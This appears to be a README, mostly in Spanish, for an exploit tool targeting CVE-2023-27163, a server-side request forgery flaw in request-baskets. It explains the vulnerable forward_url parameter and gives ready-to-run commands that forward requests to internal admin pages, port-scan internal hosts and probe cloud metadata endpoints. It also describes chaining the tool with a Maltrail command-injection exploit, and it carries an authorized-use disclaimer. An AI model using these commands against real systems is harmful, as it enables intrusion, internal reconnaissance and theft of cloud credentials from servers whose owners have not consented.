
Escribí este exploit para apuntar a CVE-2023-27163, una vulnerabilidad de Server-Side Request Forgery (SSRF) encontrada en request-baskets versiones ≤ 1.2.1. La falla se encuentra en el endpoint /api/baskets/{name}, donde el parámetro forward_url permite a un atacante hacer que el servidor realice solicitudes HTTP arbitrarias en su nombre.
El exploit crea una "basket" maliciosa configurada con un forward_url que apunta a un objetivo interno. Cualquier solicitud realizada al endpoint de esa basket es reenviada por el servidor a la URL especificada, convirtiendo efectivamente al servidor en un proxy SSRF.
requests (pip install requests)usage: exploit.py [-h] -t TARGET [-f FORWARD_URL] [--proxy-response]
[--insecure-tls] [--no-expand-path] [--capacity CAPACITY]
[--scan-host SCAN_HOST] [--ports PORTS] [--scan]
[--discover] [--cloud-metadata] [--timeout TIMEOUT]
[--delay DELAY]
# Basic SSRF forward to an internal service
python3 exploit.py -t http://192.168.1.100:55555 -f http://127.0.0.1:80/admin
# Port scan an internal host
python3 exploit.py -t http://192.168.1.100:55555 --scan-host 127.0.0.1 --scan
# Probe cloud metadata endpoints
python3 exploit.py -t http://192.168.1.100:55555 --cloud-metadata
# Proxy mode (returns the forwarded response body)
python3 exploit.py -t http://192.168.1.100:55555 -f http://127.0.0.1:80 --proxy-response
# Custom port range scan
python3 exploit.py -t http://192.168.1.100:55555 --scan-host 10.0.0.2 \
--ports 80,443,3000,5000,8000,8080,9000
Construí esta herramienta únicamente con fines educativos y para pruebas de seguridad autorizadas. No la uses contra sistemas sin permiso explícito.
Este exploit SSRF se puede utilizar como punto de entrada inicial para alcanzar servicios internos que no están expuestos directamente. Lo diseñé para que funcione junto con el Maltrail-v0.53-Exploit — el túnel SSRF te permite alcanzar una instancia de Maltrail que se ejecuta en localhost y desencadenar la inyección de comandos a través de él.